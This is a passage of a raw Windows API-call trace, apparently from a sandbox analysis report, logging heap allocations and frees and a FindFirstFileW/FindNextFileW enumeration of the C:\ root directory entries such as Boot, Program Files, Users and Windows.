returned 1 [0059.064] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132120 | out: hHeap=0x670000) returned 1 [0059.064] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.064] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a418 | out: hHeap=0x670000) returned 1 [0059.064] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.064] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x3038588 [0059.065] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4618 [0059.065] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd768 [0059.065] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4618 | out: hHeap=0x670000) returned 1 [0059.065] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd260 [0059.065] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1c) returned 0x30e4618 [0059.065] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd2d0 [0059.065] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd260 | out: hHeap=0x670000) returned 1 [0059.065] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd768 | out: hHeap=0x670000) returned 1 [0059.065] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0059.065] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e58b0 [0059.065] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.065] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x38) returned 0x3038608 [0059.065] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd768 [0059.065] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd2d0 | out: hHeap=0x670000) returned 1 [0059.065] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4618 | out: hHeap=0x670000) returned 1 [0059.065] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4618 [0059.065] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.065] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e58b0 | out: hHeap=0x670000) returned 1 [0059.065] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0059.065] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0059.065] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0059.065] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e58b0 [0059.065] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.065] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x54) returned 0x30faeb0 [0059.065] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd2d0 [0059.065] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5c70 [0059.066] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd768 | out: hHeap=0x670000) returned 1 [0059.066] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4618 | out: hHeap=0x670000) returned 1 [0059.066] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3038608 | out: hHeap=0x670000) returned 1 [0059.066] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4618 [0059.066] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.066] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e58b0 | out: hHeap=0x670000) returned 1 [0059.066] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0059.066] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30181a8 [0059.066] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30180d0 [0059.066] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d5a0 [0059.066] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd768 [0059.066] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e58b0 [0059.066] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.066] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd2d0 | out: hHeap=0x670000) returned 1 [0059.066] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5c70 | out: hHeap=0x670000) returned 1 [0059.066] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4618 | out: hHeap=0x670000) returned 1 [0059.066] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30faeb0 | out: hHeap=0x670000) returned 1 [0059.066] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.066] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30180d0 | out: hHeap=0x670000) returned 1 [0059.066] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30181a8 | out: hHeap=0x670000) returned 1 [0059.066] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x813b7be0, ftLastWriteTime.dwHighDateTime=0x1d4d5ae, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0059.066] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0059.066] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4618 [0059.066] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5c70 [0059.066] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa8) returned 0x2fedd78 [0059.066] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd2d0 [0059.066] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e55b8 [0059.066] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5388 [0059.066] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30181a8 [0059.067] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd768 | out: hHeap=0x670000) returned 1 [0059.067] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e58b0 | out: hHeap=0x670000) returned 1 [0059.067] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.067] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.067] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d5a0 | out: hHeap=0x670000) returned 1 [0059.067] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.067] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5c70 | out: hHeap=0x670000) returned 1 [0059.067] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4618 | out: hHeap=0x670000) returned 1 [0059.067] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x814762c0, ftLastWriteTime.dwHighDateTime=0x1d4d5ae, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0059.067] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0059.067] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4618 [0059.067] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5c70 [0059.067] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e58b0 [0059.067] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5c70 | out: hHeap=0x670000) returned 1 [0059.067] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4618 | out: hHeap=0x670000) returned 1 [0059.067] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d4bb90, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x1d4bb90, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0059.067] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd768 [0059.067] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd260 [0059.067] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfc) returned 0x30ffd28 [0059.067] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd110 [0059.067] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4618 [0059.067] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5c70 [0059.067] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.067] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5360 [0059.067] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5c20 [0059.067] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd2d0 | out: hHeap=0x670000) returned 1 [0059.067] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e55b8 | out: hHeap=0x670000) returned 1 [0059.067] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5388 | out: hHeap=0x670000) returned 1 [0059.067] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30181a8 | out: hHeap=0x670000) returned 1 [0059.067] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.067] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e58b0 | out: hHeap=0x670000) returned 1 [0059.068] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2fedd78 | out: hHeap=0x670000) returned 1 [0059.068] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd2d0 [0059.068] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd260 | out: hHeap=0x670000) returned 1 [0059.068] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd768 | out: hHeap=0x670000) returned 1 [0059.068] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0059.068] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd768 [0059.068] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd260 [0059.068] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd570 [0059.068] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd260 | out: hHeap=0x670000) returned 1 [0059.068] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd768 | out: hHeap=0x670000) returned 1 [0059.068] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0059.068] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e58b0 [0059.068] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.068] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5388 [0059.068] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.068] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e58b0 | out: hHeap=0x670000) returned 1 [0059.068] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27cc8060, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27cc8060, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0059.068] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e58b0 [0059.068] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.068] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x16c) returned 0x2f9c458 [0059.068] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd768 [0059.068] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e55b8 [0059.068] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e58d8 [0059.068] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30181a8 [0059.068] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5978 [0059.068] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e51d0 [0059.068] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd260 [0059.068] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd6c0 [0059.068] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5b58 [0059.069] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd110 | out: hHeap=0x670000) returned 1 [0059.069] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4618 | out: hHeap=0x670000) returned 1 [0059.069] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5c70 | out: hHeap=0x670000) returned 1 [0059.069] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.069] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5360 | out: hHeap=0x670000) returned 1 [0059.069] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5c20 | out: hHeap=0x670000) returned 1 [0059.069] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd2d0 | out: hHeap=0x670000) returned 1 [0059.069] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd570 | out: hHeap=0x670000) returned 1 [0059.069] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5388 | out: hHeap=0x670000) returned 1 [0059.069] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30ffd28 | out: hHeap=0x670000) returned 1 [0059.069] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5388 [0059.069] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.069] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e58b0 | out: hHeap=0x670000) returned 1 [0059.069] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x56231c60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0xa1602bc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa1602bc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0059.069] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.069] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30180d0 [0059.069] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018118 [0059.069] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30180d0 | out: hHeap=0x670000) returned 1 [0059.069] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3018160 | out: hHeap=0x670000) returned 1 [0059.069] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd046150, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0xd046150, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0xd046150, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SystemID", cAlternateFileName="")) returned 1 [0059.069] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e58b0 [0059.069] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.069] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5c20 [0059.069] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.069] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e58b0 | out: hHeap=0x670000) returned 1 [0059.069] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0059.069] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e58b0 [0059.069] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.069] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5360 [0059.069] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e4960 | out: hHeap=0x670000) returned 1 [0059.069] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e58b0 | out: hHeap=0x670000) returned 1 [0059.069] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0059.070] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e58b0 [0059.070] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4960 [0059.070] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x214) returned 0x30d39c8 [0059.070] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd570 [0059.070] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5c70 [0059.070] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e4618 [0059.070] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x3018160 [0059.070] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5450 [0059.070] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5860 [0059.070] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd2d0 [0059.070] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd110 [0059.070] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e53d8 [0059.070] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5950 [0059.070] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x40) returned 0x30180d0 [0059.070] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5158 [0059.070] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5bf8 [0059.070] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd768 | out: hHeap=0x670000) returned 1 [0059.070] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e55b8 | out: hHeap=0x670000) returned 1 [0059.070] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e58d8 | out: hHeap=0x670000) returned 1 [0059.070] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30181a8 | out: hHeap=0x670000) returned 1 [0059.070] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5978 | out: hHeap=0x670000) returned 1 [0059.070] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e51d0 | out: hHeap=0x670000) returned 1 [0059.070] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd260 | out: hHeap=0x670000) returned 1 